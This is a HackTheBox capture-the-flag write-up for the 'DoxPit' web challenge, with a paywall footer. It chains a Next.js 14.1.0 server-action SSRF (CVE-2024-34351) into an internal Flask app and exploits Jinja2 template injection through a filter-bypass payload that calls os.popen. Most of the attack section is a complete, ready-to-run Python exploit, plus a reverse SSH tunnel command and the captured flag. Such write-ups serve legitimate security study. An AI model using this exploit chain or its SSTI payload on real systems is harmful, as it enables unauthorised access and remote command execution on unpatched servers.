DoxPit
hackthebox
Task: Next.js 14.1.0 front-end with internal Flask AV scanner; CVE-2024-34351 SSRF in server actions plus Jinja2 SSTI with blacklist bypass. Solution: forge Host header to trigger SSRF via server action redirect, register user on internal Flask service, exploit render_template_string with {%print()%} and attr() filter chain to read flag.
$ ls tags/ techniques/
DoxPit — HackTheBox
Description
The owner of famous underground forum doxpit has been allegedly kidnapped, now that turmoil ensues it is the right time to strike and take down this appalling operation.
A Docker container runs two services via supervisord: a Next.js 14.1.0 front-end on port 1337 (the only externally exposed port) serving a static "doxpit" paste forum UI, and an internal Flask 3.0.3 "AV scanner" service on port 3000 that is not directly reachable from outside. The flag is at /flag<random10hex>.txt, renamed at startup via entrypoint.sh.
Analysis
Architecture
The Dockerfile reveals the dual-service setup:
- Next.js (
[email protected]) on port 1337 — the onlyEXPOSEd port - Flask (
flask==3.0.3) on port 3000 — internal only
# supervisord.conf
[program:next]
command=npm start
directory=/app/front-end
[program:av]
command=python3 run.py
directory=/app/av
The front-end is entirely static — no API calls, no proxy to Flask. It's a decoy. The real attack surface is the internal Flask service, reachable only via SSRF.
Stage 1: Next.js Server Action SSRF (CVE-2024-34351)
Next.js 14.1.0 has a known SSRF vulnerability in server actions. When a server action calls redirect("/error") (a relative path starting with /), Next.js internally constructs a fetch URL as ${proto}://${host}${basePath}${redirectUrl}, where host comes from the client's Host header.
The front-end has a server action in app/serverActions.tsx:
"use server"; import { redirect } from "next/navigation"; export async function doRedirect() { redirect("/error"); }
The action ID is embedded in the homepage HTML as $ACTION_ID_0b0da34c9bad83debaebc8b90e4d5ec7544ca862.
The SSRF becomes a full-read SSRF through a two-step dance:
- Next.js first sends a HEAD request to the attacker's server. If the response has
Content-Type: text/x-component, it proceeds. - Next.js then sends a GET request. The attacker's server responds with a 302 redirect to the real internal target. Next.js follows the redirect and returns the full response body to the caller.
Stage 2: Internal Flask user registration via SSRF
The Flask app at 127.0.0.1:3000 has a /register endpoint that accepts GET parameters:
@web.route("/register", methods=["GET"]) def register(): username = request.args.get("username") password = request.args.get("password") # ... token = generate(16) db_session.create_user(username, password, token) return render_template("error.html", title="success", error=f"User created with token: {token}"), 200
The SSRF is used to hit http://127.0.0.1:3000/register?username=pwn&password=pwn and extract the 32-hex token from the response HTML.
The token authenticates to /home via ?token=<token> — the auth_middleware checks request.args.get("token") against the database.
Stage 3: Jinja2 SSTI with blacklist bypass
The /home route has a critical vulnerability:
@web.route("/home", methods=["GET", "POST"]) @auth_middleware def feed(): directory = request.args.get("directory") # ... with open("./application/templates/scan.html", "r") as file: template_content = file.read() results = scan_directory(directory) template_content = template_content.replace("{{ results.date }}", results["date"]) template_content = template_content.replace("{{ results.scanned_directory }}", results["scanned_directory"]) return render_template_string(template_content, results=results)
The scanned_directory value comes directly from the user-supplied directory parameter and is string-replaced into the template before render_template_string() is called — a classic SSTI injection point.
There is a blacklist in general.py:
invalid_chars = ["{{", "}}", ".", "_", "[", "]", "\\", "x"]
Bypass technique:
- Use
{%print(...)%}instead of{{...}}— statement tags are not blocked - Use
|attr()filter instead of.dot access - Pass
__globals__and the command viarequest.argsto avoid_andxin the directory parameter
Final SSTI payload:
{%print(lipsum|attr(request|attr('args')|attr('get')('g'))|attr('get')('os')|attr('popen')(request|attr('args')|attr('get')('c'))|attr('read')())%}
With additional query parameters: &g=__globals__&c=cat /flag*
This works because:
lipsumis a Jinja2 global (the Lorem Ipsum generator) that has__globals__containing theosmodulerequest|attr('args')|attr('get')('g')retrieves the string__globals__from query params (avoiding_in the directory value)request|attr('args')|attr('get')('c')retrievescat /flag*(avoidingxfromtxt)
Solution
The exploit chains all three stages automatically:
#!/usr/bin/env python3 import argparse import html import random import re import string import threading import time import urllib.error import urllib.parse import urllib.request from http.server import BaseHTTPRequestHandler, HTTPServer ACTION_RE = re.compile(r"\$ACTION_ID_([0-9a-f]{40})") TOKEN_RE = re.compile(r"User created with token: ([0-9a-f]{32})") FLAG_RE = re.compile(r"HTB\{[^}]+\}") class RedirectHandler(BaseHTTPRequestHandler): target = None def do_HEAD(self): self.send_response(200) self.send_header("Content-Type", "text/x-component") self.end_headers() def do_GET(self): self.send_response(302) self.send_header("Location", self.target) self.end_headers() def log_message(self, *_args): return def fetch(url, *, method="GET", headers=None, data=None): req = urllib.request.Request(url, method=method, headers=headers or {}, data=data) try: with urllib.request.urlopen(req, timeout=20) as resp: return resp.read().decode(errors="replace") except urllib.error.HTTPError as exc: return exc.read().decode(errors="replace") def scrape_action_id(base_url): body = fetch(base_url) match = ACTION_RE.search(body) if not match: raise RuntimeError("could not find Next server action ID in homepage HTML") return match.group(1) def trigger_ssrf(base_url, action_id, host_header): headers = { "Host": host_header, "Next-Action": action_id, "Accept": "text/x-component", "Content-Type": "text/plain", } return fetch(base_url, method="POST", headers=headers, data=b"{}") def randstr(length=8): return "".join(random.choice(string.ascii_lowercase) for _ in range(length)) def start_helper(listen, port): server = HTTPServer((listen, port), RedirectHandler) thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() time.sleep(0.2) return server def build_url(base, params): return f"{base}?{urllib.parse.urlencode(params)}" def main(): parser = argparse.ArgumentParser( description="Exploit DoxPit via Next.js SSRF -> internal Flask SSTI") parser.add_argument("base_url", help="Public challenge URL, e.g. http://94.237.x.x:12345/") parser.add_argument("--listen", default="127.0.0.1", help="Local helper bind address") parser.add_argument("--port", type=int, default=8000, help="Local helper bind port") parser.add_argument("--public-host", default=None, help="Host:port visible to target (use tunnel domain here)") parser.add_argument("--internal-base", default="http://127.0.0.1:3000", help="Internal Flask base URL") parser.add_argument("--command", default="cat /flag*", help="Command to execute via SSTI") args = parser.parse_args() base_url = args.base_url.rstrip("/") + "/" action_id = scrape_action_id(base_url) print(f"[+] action id: {action_id}") helper = start_helper(args.listen, args.port) host_header = args.public_host or f"{args.listen}:{args.port}" print(f"[+] helper host header: {host_header}") # Stage 2: Register user on internal Flask via SSRF username = f"pwn_{randstr()}" password = randstr(12) register_url = build_url( f"{args.internal_base}/register", {"username": username, "password": password}, ) RedirectHandler.target = register_url register_resp = trigger_ssrf(base_url, action_id, host_header) token_match = TOKEN_RE.search(register_resp) if not token_match: raise RuntimeError("could not extract token from SSRF register response") token = token_match.group(1) print(f"[+] token: {token}") # Stage 3: SSTI to read flag payload = ("{%print(lipsum|attr(request|attr('args')|attr('get')('g'))" "|attr('get')('os')" "|attr('popen')(request|attr('args')|attr('get')('c'))" "|attr('read')())%}") home_url = build_url( f"{args.internal_base}/home", { "token": token, "g": "__globals__", "c": args.command, "directory": payload, }, ) RedirectHandler.target = home_url flag_resp = trigger_ssrf(base_url, action_id, host_header) flag_match = FLAG_RE.search(html.unescape(flag_resp)) if not flag_match: raise RuntimeError("flag not found in final response") print(f"[+] flag: {flag_match.group(0)}") helper.shutdown() if __name__ == "__main__": main()
Running the exploit
The helper server needs to be reachable from the target container. A localhost.run SSH reverse tunnel exposes the local helper publicly:
ssh -R 80:127.0.0.1:8000 [email protected] 2>&1 | tee localhostrun.log & # Wait for tunnel URL, e.g. d90f5f78134b82.lhr.life python3 solve.py http://TARGET:PORT/ --public-host d90f5f78134b82.lhr.life
Output:
[+] action id: 0b0da34c9bad83debaebc8b90e4d5ec7544ca862
[+] helper host header: d90f5f78134b82.lhr.life
[+] token: ff152f7d1b6b52fcef520a8f8ad83b6b
[+] flag: HTB{1t5_n0t_ju5t_4_fr0nt-3nd!}
What didn't work
- The front-end is entirely static (no API calls, no fetch, no proxy to Flask) — it's a decoy
- Webhook.site free tier doesn't support method-specific responses (needed HEAD vs GET differentiation)
- Direct access to Flask port 3000 is not possible from outside the container
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [web][free]Offlinea— HackTheBox
- [web][Pro]Lab 205 — DockForge — SSRF in Webhook Test Endpoint— hackadvisor
- [web][free]Proxy— hackthebox
- [web][Pro]Состояние 0x7F— hackerlab
- [web][Pro]Lab 13 — WebForge — Insecure Deserialization in Config Import— hackadvisor